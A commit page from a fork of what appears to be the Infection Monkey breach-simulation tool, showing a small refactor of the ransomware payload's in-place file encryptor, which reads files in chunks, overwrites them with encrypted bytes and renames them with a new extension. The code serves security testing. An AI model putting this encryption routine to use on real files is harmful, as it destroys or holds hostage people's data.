p17860254
/
monkey
forked from p15670423/monkey
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

Agent: Use iter() to improve InPlaceFileEncryptor._encrypt_file()

This commit is contained in:
Mike Salvatore 2022-01-23 19:31:47 -05:00
parent fa59f45d31
commit 62efeffe90
1 changed files with 2 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

9
monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py
View File

@ -28,17 +28,12 @@ class InPlaceFileEncryptor:
def _encrypt_file(self, filepath: Path): def _encrypt_file(self, filepath: Path):
with open(filepath, "rb+") as f: with open(filepath, "rb+") as f:
data = f.read(self._chunk_size) for data in iter(lambda: f.read(self._chunk_size), b""):
while data:
num_bytes_read = len(data)
encrypted_data = self._encrypt_bytes(data) encrypted_data = self._encrypt_bytes(data)
f.seek(-num_bytes_read, 1) f.seek(-len(encrypted_data), 1)
f.write(encrypted_data) f.write(encrypted_data)
data = f.read(self._chunk_size)
def _add_extension(self, filepath: Path): def _add_extension(self, filepath: Path):
new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}")
filepath.rename(new_filepath) filepath.rename(new_filepath)